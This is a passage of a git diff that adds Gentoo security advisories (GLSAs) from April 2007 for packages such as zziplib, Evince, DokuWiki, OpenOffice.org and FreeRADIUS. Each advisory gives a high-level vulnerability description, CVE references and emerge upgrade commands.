+    # emerge --sync
+    # emerge --ask --verbose sys-cluster/torque</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5616">CVE-2006-5616</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 26 Mar 2007 23:17:18 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 27 Mar 2007 16:50:56 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 29 Mar 2007 21:14:48 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200704-05.xml b/xml/htdocs/security/en/glsa/glsa-200704-05.xml
new file mode 100644
index 00000000..13cca9e8
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200704-05.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200704-05">
+  <title>zziplib: Buffer Overflow</title>
+  <synopsis>
+    The zziplib library contains a buffer overflow vulnerability that could
+    lead to user-assisted remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">zziplib</product>
+  <announced>April 03, 2007</announced>
+  <revised>April 03, 2007: 01</revised>
+  <bug>171441</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-libs/zziplib" auto="yes" arch="*">
+      <unaffected range="ge">0.13.49</unaffected>
+      <vulnerable range="lt">0.13.49</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The zziplib library is a lightweight library for extracting data from
+    files archived in a single zip file.
+    </p>
+  </background>
+  <description>
+    <p>
+    dmcox dmcox discovered a boundary error in the zzip_open_shared_io()
+    function from zzip/file.c .
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to run a zziplib function with an
+    overly long string as an argument which would trigger the buffer
+    overflow and may lead to the execution of arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All zziplib users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-libs/zziplib-0.13.49&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1614">CVE-2007-1614</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 24 Mar 2007 20:39:36 +0000">
+    aetius
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 26 Mar 2007 21:59:00 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 29 Mar 2007 21:14:54 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200704-06.xml b/xml/htdocs/security/en/glsa/glsa-200704-06.xml
new file mode 100644
index 00000000..ca61e1ff
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200704-06.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200704-06">
+  <title>Evince: Stack overflow in included gv code</title>
+  <synopsis>
+    Evince improperly handles user-supplied data possibly allowing for the
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">evince</product>
+  <announced>April 06, 2007</announced>
+  <revised>April 06, 2007: 01</revised>
+  <bug>156573</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-text/evince" auto="yes" arch="*">
+      <unaffected range="ge">0.6.1-r3</unaffected>
+      <vulnerable range="lt">0.6.1-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Evince is a document viewer for multiple document formats, including
+    PostScript.
+    </p>
+  </background>
+  <description>
+    <p>
+    Evince includes code from GNU gv that does not properly boundary check
+    user-supplied data before copying it into process buffers.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to open a specially crafted PostScript
+    document with Evince and possibly execute arbitrary code with the
+    rights of the user running Evince.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Evince users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/evince-0.6.1-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5864">CVE-2006-5864</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200611-20.xml">GLSA-200611-20</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 29 Mar 2007 16:08:33 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 02 Apr 2007 13:26:04 +0000">
+    aetius
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 03 Apr 2007 22:29:26 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200704-07.xml b/xml/htdocs/security/en/glsa/glsa-200704-07.xml
new file mode 100644
index 00000000..5d799980
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200704-07.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200704-07">
+  <title>libwpd: Multiple vulnerabilities</title>
+  <synopsis>
+    libwpd is vulnerable to several heap overflows and an integer overflow.
+  </synopsis>
+  <product type="ebuild">libwpd</product>
+  <announced>April 06, 2007</announced>
+  <revised>April 06, 2007: 01</revised>
+  <bug>169675</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-text/libwpd" auto="yes" arch="*">
+      <unaffected range="ge">0.8.9</unaffected>
+      <vulnerable range="lt">0.8.9</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    libwpd is a library used to convert Wordperfect documents into other
+    formats.
+    </p>
+  </background>
+  <description>
+    <p>
+    libwpd contains heap-based overflows in two functions that convert
+    WordPerfect document tables. In addition, it contains an integer
+    overflow in a text-conversion function.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to convert a specially crafted
+    WordPerfect file, resulting in a crash or possibly the execution of
+    arbitrary code with the rights of the user running libwpd.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All libwpd users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/libwpd-0.8.9&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0002">CVE-2007-0002</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1466">CVE-2007-1466</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 02 Apr 2007 22:18:42 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 03 Apr 2007 12:29:29 +0000">
+    aetius
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 03 Apr 2007 22:29:58 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200704-08.xml b/xml/htdocs/security/en/glsa/glsa-200704-08.xml
new file mode 100644
index 00000000..9a808784
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200704-08.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200704-08">
+  <title>DokuWiki: Cross-site scripting vulnerability</title>
+  <synopsis>
+    DokuWiki is vulnerable to a cross-site scripting attack.
+  </synopsis>
+  <product type="ebuild">dokuwiki</product>
+  <announced>April 12, 2007</announced>
+  <revised>April 12, 2007: 01</revised>
+  <bug>163781</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/dokuwiki" auto="yes" arch="*">
+      <unaffected range="ge">20061106</unaffected>
+      <vulnerable range="lt">20061106</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    DokuWiki is a simple to use wiki aimed at creating documentation.
+    </p>
+  </background>
+  <description>
+    <p>
+    DokuWiki does not sanitize user input to the GET variable 'media' in
+    the fetch.php file.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    An attacker could entice a user to click a specially crafted link and
+    inject CRLF characters into the variable. This would allow the creation
+    of new lines or fields in the returned HTTP Response header, which
+    would permit the attacker to execute arbitrary scripts in the context
+    of the user's browser.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Replace the following line in lib/exe/fetch.php:
+    </p>
+    <code>$MEDIA = getID('media',false); // no cleaning - maybe external</code>
+    <p>
+    with
+    </p>
+    <code>$MEDIA = preg_replace('/[\x00-\x1F]+/s','',getID('media',false));</code>
+  </workaround>
+  <resolution>
+    <p>
+    All DokuWiki users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/dokuwiki-20061106&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6965">CVE-2006-6965</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 02 Apr 2007 22:16:33 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 03 Apr 2007 13:45:23 +0000">
+    aetius
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 03 Apr 2007 22:29:45 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200704-09.xml b/xml/htdocs/security/en/glsa/glsa-200704-09.xml
new file mode 100644
index 00000000..55c923d8
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200704-09.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200704-09">
+  <title>xine-lib: Heap-based buffer overflow</title>
+  <synopsis>
+    xine-lib is vulnerable to a heap-based buffer overflow.
+  </synopsis>
+  <product type="ebuild">xine-lib</product>
+  <announced>April 14, 2007</announced>
+  <revised>April 14, 2007: 01</revised>
+  <bug>170208</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/xine-lib" auto="yes" arch="x86">
+      <unaffected range="ge">1.1.4-r2</unaffected>
+      <vulnerable range="lt">1.1.4-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    xine-lib is the core library package for the xine media player.
+    </p>
+  </background>
+  <description>
+    <p>
+    xine-lib does not check boundaries on data being read into buffers from
+    DMO video files in code that is shared with MPlayer
+    (DMO_VideoDecoder.c).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to play a specially crafted DMO video
+    file with a player using xine-lib, potentially resulting in the
+    execution of arbitrary code with the privileges of the user running the
+    player.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All xine-lib users on the x86 platform should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/xine-lib-1.1.4-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1246">CVE-2007-1246</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 22 Mar 2007 17:27:51 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 02 Apr 2007 15:54:20 +0000">
+    aetius
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 03 Apr 2007 22:28:59 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200704-10.xml b/xml/htdocs/security/en/glsa/glsa-200704-10.xml
new file mode 100644
index 00000000..efc692eb
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200704-10.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200704-10">
+  <title>Inkscape: Two format string vulnerabilities</title>
+  <synopsis>
+    Two format string vulnerabilities have been discovered in Inkscape,
+    allowing for user-assisted execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">Inkscape</product>
+  <announced>April 16, 2007</announced>
+  <revised>April 16, 2007: 01</revised>
+  <bug>171799</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-gfx/inkscape" auto="yes" arch="*">
+      <unaffected range="ge">0.45.1</unaffected>
+      <vulnerable range="lt">0.45.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Inkscape is a vector graphics editor, using Scalable Vector Graphics
+    (SVG) Format.
+    </p>
+  </background>
+  <description>
+    <p>
+    Kees Cook has discovered two vulnerabilities in Inkscape. The
+    application does not properly handle format string specifiers in some
+    dialog boxes. Inkscape is also vulnerable to another format string
+    error in its Jabber whiteboard protocol.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted URI,
+    possibly leading to execution of arbitrary code with the privileges of
+    the user running Inkscape.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Inkscape users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-gfx/inkscape-0.45.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1463">CVE-2007-1463</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1464">CVE-2007-1464</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 09 Apr 2007 20:15:01 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 11 Apr 2007 18:16:25 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200704-11.xml b/xml/htdocs/security/en/glsa/glsa-200704-11.xml
new file mode 100644
index 00000000..116e7a6a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200704-11.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200704-11">
+  <title>Vixie Cron: Denial of Service</title>
+  <synopsis>
+    The Gentoo implementation of Vixie Cron is vulnerable to a local Denial of
+    Service.
+  </synopsis>
+  <product type="ebuild">vixie-cron</product>
+  <announced>April 16, 2007</announced>
+  <revised>April 16, 2007: 01</revised>
+  <bug>164466</bug>
+  <access>local</access>
+  <affected>
+    <package name="sys-process/vixie-cron" auto="yes" arch="*">
+      <unaffected range="ge">4.1-r10</unaffected>
+      <vulnerable range="lt">4.1-r10</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Vixie Cron is a command scheduler with extended syntax over cron.
+    </p>
+  </background>
+  <description>
+    <p>
+    During an internal audit, Raphael Marichez of the Gentoo Linux Security
+    Team found that Vixie Cron has weak permissions set on Gentoo, allowing
+    for a local user to create hard links to system and users cron files,
+    while a st_nlink check in database.c will generate a superfluous error.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    Depending on the partitioning scheme and the "cron" group membership, a
+    malicious local user can create hard links to system or users cron
+    files that will trigger the st_link safety check and prevent the
+    targeted cron file from being run from the next restart or database
+    reload.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Vixie Cron users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sys-process/vixie-cron-4.1-r10&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1856">CVE-2007-1856</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 13 Apr 2007 15:58:28 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 13 Apr 2007 21:36:24 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 16 Apr 2007 18:10:18 +0000">
+    vorlon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200704-12.xml b/xml/htdocs/security/en/glsa/glsa-200704-12.xml
new file mode 100644
index 00000000..4d6a5170
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200704-12.xml
@@ -0,0 +1,84 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200704-12">
+  <title>OpenOffice.org: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in OpenOffice.org, allowing
+    for remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">OpenOffice.org</product>
+  <announced>April 16, 2007</announced>
+  <revised>April 16, 2007: 01</revised>
+  <bug>170828</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-office/openoffice" auto="yes" arch="*">
+      <unaffected range="ge">2.1.0-r1</unaffected>
+      <vulnerable range="lt">2.1.0-r1</vulnerable>
+    </package>
+    <package name="app-office/openoffice-bin" auto="yes" arch="*">
+      <unaffected range="ge">2.2.0</unaffected>
+      <vulnerable range="lt">2.2.0</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    OpenOffice.org is an open source office productivity suite, including
+    word processing, spreadsheet, presentation, drawing, data charting,
+    formula editing, and file conversion facilities.
+    </p>
+  </background>
+  <description>
+    <p>
+    John Heasman of NGSSoftware has discovered a stack-based buffer
+    overflow in the StarCalc parser and an input validation error when
+    processing metacharacters in a link. Also OpenOffice.Org includes code
+    from libwpd making it vulnerable to heap-based overflows when
+    converting WordPerfect document tables (GLSA 200704-07).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted
+    document, possibly leading to execution of arbitrary code with the
+    rights of the user running OpenOffice.org.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All OpenOffice.org users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-office/openoffice-2.1.0-r1&quot;</code>
+    <p>
+    All OpenOffice.org binary users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-office/openoffice-bin-2.2.0&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0002">CVE-2007-0002</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0238">CVE-2007-0238</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0239">CVE-2007-0239</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200704-07.xml">GLSA-200704-07</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 11 Apr 2007 10:02:01 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 11 Apr 2007 18:10:31 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 11 Apr 2007 18:15:09 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200704-13.xml b/xml/htdocs/security/en/glsa/glsa-200704-13.xml
new file mode 100644
index 00000000..24762ce6
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200704-13.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200704-13">
+  <title>File: Denial of Service</title>
+  <synopsis>
+    A vulnerability has been discovered in file allowing for a denial of
+    service.
+  </synopsis>
+  <product type="ebuild">file</product>
+  <announced>April 17, 2007</announced>
+  <revised>September 17, 2007: 02</revised>
+  <bug>174217</bug>
+  <access>remote</access>
+  <affected>
+    <package name="sys-apps/file" auto="yes" arch="*">
+      <unaffected range="ge">4.21-r1</unaffected>
+      <vulnerable range="eq">4.21</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    file is a utility that identifies a file format by scanning binary data
+    for patterns.
+    </p>
+  </background>
+  <description>
+    <p>
+    Conor Edberg discovered an error in the way file processes a specific
+    regular expression.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted file,
+    using excessive CPU ressources and possibly leading to a Denial of
+    Service. Note that this vulnerability could be also triggered through
+    an automatic file scanner like amavisd-new.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All file users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sys-apps/file-4.20-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2026">CVE-2007-2026</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 11 Apr 2007 22:06:47 +0000">
+    aetius
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 12 Apr 2007 13:54:28 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 13 Apr 2007 12:18:04 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200704-14.xml b/xml/htdocs/security/en/glsa/glsa-200704-14.xml
new file mode 100644
index 00000000..fce94652
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200704-14.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200704-14">
+  <title>FreeRADIUS: Denial of Service</title>
+  <synopsis>
+    A memory leak has been discovered in FreeRADIUS, possibly allowing for a
+    Denial of Service.
+  </synopsis>
+  <product type="ebuild">FreeRADIUS</product>
+  <announced>April 17, 2007</announced>
+  <revised>April 17, 2007: 01</revised>
+  <bug>174292</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-dialup/freeradius" auto="yes" arch="*">
+      <unaffected range="ge">1.1.6</unaffected>
+      <vulnerable range="lt">1.1.6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    FreeRADIUS is an open source RADIUS authentication server
+    implementation.
+    </p>
+  </background>
+  <description>
+    <p>
+    The Coverity Scan project has discovered a memory leak within the
+    handling of certain malformed Diameter format values inside an EAP-TTLS
+    tunnel.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could send a large amount of specially crafted
+    packets to a FreeRADIUS server using EAP-TTLS authentication and
+    exhaust all memory, possibly resulting in a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All FreeRADIUS users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-dialup/freeradius-1.1.6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2028">CVE-2007-2028</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 13 Apr 2007 07:08:42 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 13 Apr 2007 11:53:35 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 13 Apr 2007 12:22:49 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200704-15.xml b/xml/htdocs/security/en/glsa/glsa-200704-15.xml
new file mode 100644
index 00000000..e1708ab9
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200704-15.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200704-15">
+  <title>MadWifi: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in the MadWifi driver,
+    possibly leading to a Denial of Service and information disclosure.
+  </synopsis>
+  <product type="ebuild">Madwifi-ng</product>
+  <announced>April 17, 2007</announced>
+  <revised>April 21, 2007: 02</revised>
+  <bug>173434</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-wireless/madwifi-ng" auto="yes" arch="*">
+      <unaffected range="ge">0.9.3</unaffected>
+      <vulnerable range="lt">0.9.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The MadWifi driver provides support for Atheros based IEEE 802.11
+    Wireless Lan cards.
+    </p>
+  </background>
+  <description>
+    <p>
+    The driver does not properly process Channel Switch Announcement
+    Information Elements, allowing for an abnormal channel change. The
+    ieee80211_input() function does not properly handle AUTH frames and the
+    driver sends unencrypted packets before WPA authentication succeeds.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could send specially crafted AUTH frames to the
+    vulnerable host, resulting in a Denial of Service by crashing the
+    kernel. A remote attacker could gain access to sensitive information
+    about network architecture by sniffing unencrypted packets. A remote
+    attacker could also send a Channel Switch Count less than or equal to
+    one to trigger a channel change, resulting in a communication loss and
+    a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All MadWifi users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-wireless/madwifi-ng-0.9.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-7178">CVE-2006-7178</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-7179">CVE-2006-7179</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-7180">CVE-2006-7180</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Wed, 11 Apr 2007 12:32:14 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 11 Apr 2007 18:16:05 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200704-16.xml b/xml/htdocs/security/en/glsa/glsa-200704-16.xml
new file mode 100644
index 00000000..54ccf318
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200704-16.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200704-16">
+  <title>Aircrack-ng: Remote execution of arbitrary code</title>
+  <synopsis>
+    Aircrack-ng contains a buffer overflow that could lead to the remote
+    execution of arbitrary code with root privileges.
+  </synopsis>
+  <product type="ebuild">aircrack-ng</product>
+  <announced>April 22, 2007</announced>
+  <revised>April 22, 2007: 01</revised>
+  <bug>174340</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-wireless/aircrack-ng" auto="yes" arch="*">
